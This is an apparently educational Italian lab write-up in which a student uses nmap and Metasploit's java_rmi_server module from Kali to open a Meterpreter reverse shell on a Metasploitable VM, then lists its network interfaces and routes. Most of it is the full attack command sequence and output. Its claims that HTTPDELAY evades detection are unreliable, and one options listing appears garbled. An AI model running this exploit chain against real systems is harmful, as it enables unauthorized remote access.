



Introduzione

L'obiettivo di questo esercizio era ottenere una sessione remota sulla macchina Metasploitable sfruttando una vulnerabilità del servizio **Java RMI** (Remote Method Invocation). La macchina Kali Linux è stata configurata come attaccante, mentre la macchina Metasploitable ha svolto il ruolo di vittima. La configurazione di rete utilizzata era la seguente:

- **Macchina Attaccante (Kali)**: IP 192.168.11.111
- **Macchina Vittima (Metasploitable)**: IP 192.168.11.112
- **Servizio Vulnerabile**: Java RMI

Abbiamo usato **Metasploit** per tentare l'accesso alla macchina vittima, con l'obiettivo finale di ottenere una sessione **Meterpreter** che ci permetesse di raccogliere informazioni di sistema.

Cos'è meterpreter ?

Meterpreter è un payload avanzato usato nei test di penetrazione, incluso in Metasploit. Fornisce una shell interattiva sul sistema compromesso, permettendo di eseguire comandi, scaricare file, e ottenere il controllo remoto senza lasciare tracce evidenti.

Fasi dell'Attacco

1. Ricerca della porta da utilizzare per eseguire l'exploit

Usando nmap possiamo andare a verificare se la porta 1099 è aperta (è la porta utilizzata da Java RMI)

```
(root㉿kali)-[~/home/kali]
└─# nmap -T5 --script=vuln 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 04:37 EST
Nmap scan report for 192.168.11.112
Host is up (0.000071s latency).

PORT      STATE SERVICE
512/tcp    open  exec
513/tcp    open  login
514/tcp    open  shell
1099/tcp   open  rmiregistry
|_rmi-vuln-classloader: ←
```

Dopo la scansione possiamo vedere che la porta 1099 è aperta .

```
(root㉿kali)-[~/home/kali]
└─# nmap --script=rmi-vuln-classloader -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 04:32 EST
Nmap scan report for 192.168.11.112
Host is up (0.00032s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
|_rmi-vuln-classloader:
|  VULNERABLE:
|    RMI registry default configuration remote code execution vulnerability
|    State: VULNERABLE
|      Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|      References:
|        https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 08:00:27:C5:3B:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.23 seconds
```

Se vogliamo possiamo lanciare uno script di Nmap per controllare se il servizio Java RMI, attivo sulla porta **1099** della macchina con IP **192.168.11.112**, è vulnerabile a un attacco che permette di caricare codice remoto .

2. Ricerca e Selezione del Modulo di Exploit

```
search jmsf6 > search java_rmi
Matching Modules
=====
#  Name
- auxiliary/gather/java_rmi_registry
1 exploit/multi/misc/java_rmi_server
2   \_ target: Generic (Java Payload)
3     \_ target: Windows x86 (Native Payload)
4     \_ target: Linux x86 (Native Payload)
5     \_ target: Mac OS X PPC (Native Payload)
6     \_ target: Mac OS X x86 (Native Payload)
7 auxiliary/scanner/misc/java_rmi_server      2011-10-15    normal  No   Java RMI Server Insecure Endpoint Code Execution Scanner
8 exploit/multi/browser/java_rmi_connection_impl 2010-03-31    excellent  No   Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

Dopo una ricerca tra i moduli disponibili, abbiamo identificato l'exploit appropriato:

- **Modulo:** `exploit/multi/misc/java_rmi_server`
- **Descrizione:** Sfrutta una configurazione insicura di Java RMI per consentire l'esecuzione di codice arbitrario.

3. Configurazione del Modulo

Abbiamo configurato i parametri del modulo come segue:

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit[*multi/misc/java_rmi_server] > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit[*multi/misc/java_rmi_server] > set rport 1099
rport => 1099
msf6 exploit[*multi/misc/java_rmi_server] > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit[*multi/misc/java_rmi_server] > set lport 4444
lport => 4444
msf6 exploit[*multi/misc/java_rmi_server] > show options

Module options (exploit/multi/misc/java_rmi_server):
Name  Current Setting Required Description
HTTPDELAY 10      yes   Time that the HTTP Server will wait for the payload request
LHOST   192.168.11.112 yes   The target host. See https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT   1099     yes   The remote port (TCP)
SRVHOST  0.0.0.0   yes   The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT  8080     yes   The local port to listen on.
SSL     false     no    Negotiate SSL for incoming connections
SSLCert no        no    Path to a custom SSL certificate (default is randomly generated)
URIPath no        no    The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name  Current Setting Required Description
LHOST  192.168.11.111 yes   The listen address (an interface may be specified)
LPORT  4444     yes   The listen port

Exploit target:
Id  Name
0  Generic (Java Payload)

View the full module info with the info, or info -d command.
```

- **RHOSTS** (Remote Hosts): **192.168.11.112** (l'indirizzo IP della vittima)
- **RPORT** (Remote Port): **1099** (la porta su cui è in esecuzione il servizio vulnerabile)
- **LHOST** (Local Host): **192.168.11.111** (l'indirizzo IP della macchina attaccante)
- **LPORT** (Local Port): **4444** (la porta che il listener Meterpreter utilizza per la connessione)

Abbiamo inoltre lasciato il parametro **HTTPDELAY** su **10**. Questo parametro definisce il tempo di attesa del server HTTP per ricevere la richiesta del payload. In caso di errore di connessione, il parametro può essere aumentato per evitare problemi di temporizzazione.

4. Avvio dell'Exploit

Un *exploit* è un software, uno script o una tecnica che sfrutta una vulnerabilità o un bug in un sistema informatico per eseguire azioni non autorizzate, come accedere a dati protetti o prendere il controllo del sistema. Di solito è usato in contesti di hacking, sia per scopi legittimi (test di sicurezza) che malevoli.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/MmqD7LZMNgVCi4P
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55206) at 2024-11-15 04:19:53 -0500
```

Dopo aver verificato la configurazione, abbiamo eseguito il comando di exploit. Questo ha attivato una sessione che ha permesso di stabilire una connessione tra la macchina attaccante e la macchina vittima. Il modulo di exploit ha generato e inviato un payload in formato Java, che, una volta eseguito sulla macchina vittima, ci ha concesso una sessione **Meterpreter**.

Raccolta di Informazioni sulla Macchina Vittima

Durante la sessione Meterpreter, abbiamo raccolto le seguenti informazioni di configurazione:

1. Configurazione di rete

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed5:3b59
IPv6 Netmask : ::
```

Tramite il comando `ifconfig`, abbiamo verificato le configurazioni delle interfacce di rete della macchina vittima.

2. Questi dati confermano l'accesso alla rete locale tramite l'interfaccia `eth0`.
3. Tabella di routing

Abbiamo consultato la tabella di routing utilizzando il comando `route list`, con i seguenti risultati:

```
meterpreter > route list
IPv4 network routes
=====
Subnet      Netmask      Gateway   Metric  Interface
127.0.0.1  255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0
[...]
IPv6 network routes
=====
Subnet      Netmask      Gateway   Metric  Interface
::1        ::          ::        ::      ::
fe80::a00:27ff:fed5:3b59 ::        ::      ::
meterpreter >
```

La tabella di routing indica che la macchina vittima è configurata per un instradamento semplice, senza percorsi avanzati o complessi.

Considerazioni sul Parametro HTTPDELAY

Il parametro **HTTPDELAY** è essenziale in questo tipo di attacco, poiché determina il tempo di attesa del server HTTP per la ricezione della richiesta di connessione. Nel nostro caso, il valore **10** è stato sufficiente per stabilire una connessione stabile. Tuttavia, in ambienti con latenze di rete più elevate, si consiglia di aumentare questo valore (ad esempio a **20**) per evitare problemi di sincronizzazione e garantire che il payload possa essere ricevuto correttamente. Questo accorgimento assicura una finestra di tempo più ampia per la comunicazione, prevenendo potenziali interruzioni.

Vantaggi di usare **HttpDelay**

- Riduce rilevabilità:** Introduce un ritardo nelle comunicazioni, rendendo più difficile identificare attività sospette tramite analisi del traffico.
- Simula attività legittime:** I ritardi possono imitare comportamenti di rete normali, abbassando il rischio di allarme.
- Bypass dei controlli:** Evita che sistemi di rilevamento reagiscano a traffico continuo e uniforme.
- Gestione del carico:** Aiuta a distribuire il traffico su tempi più lunghi, riducendo il rischio di congestione.

Svantaggi di usare **HttpDelay**

- Aumento del tempo di risposta:** Le operazioni richiedono più tempo, rallentando l'interazione.
- Rischio di timeout:** Ritardi troppo lunghi possono far fallire connessioni o comandi.
- Debug complicato:** Più difficile tracciare e risolvere problemi in caso di errori o malfunzionamenti.
- Ridotta efficienza:** Nei test di penetrazione può essere controproducente se è necessario agire rapidamente.

Come proteggersi da questo tipo di attacchi?

Per proteggersi è molto semplice , BISOGNA assicurarsi di aggiornare positivamente tutti i protocolli , in questo caso abbiamo sfruttato una vulnerabilità data da un esatta versione del protocollo , se il protocollo fosse stato aggiornato adeguamento non saremo riusciti a stabilire una sessione e non saremmo riusciti a exploitare la macchina target.

Conclusioni

L'operazione è stata completata con successo: abbiamo ottenuto una sessione remota sulla macchina Metasploitable e raccolto le informazioni richieste. L'attacco ha dimostrato l'efficacia della configurazione di Metasploit e dell'uso del parametro HTTPDELAY per adattarsi a possibili limitazioni di rete. Questo test ci ha permesso di verificare la vulnerabilità della macchina e ha fornito spunti pratici sull'importanza di ottimizzare i parametri di configurazione per garantire il successo di un exploit.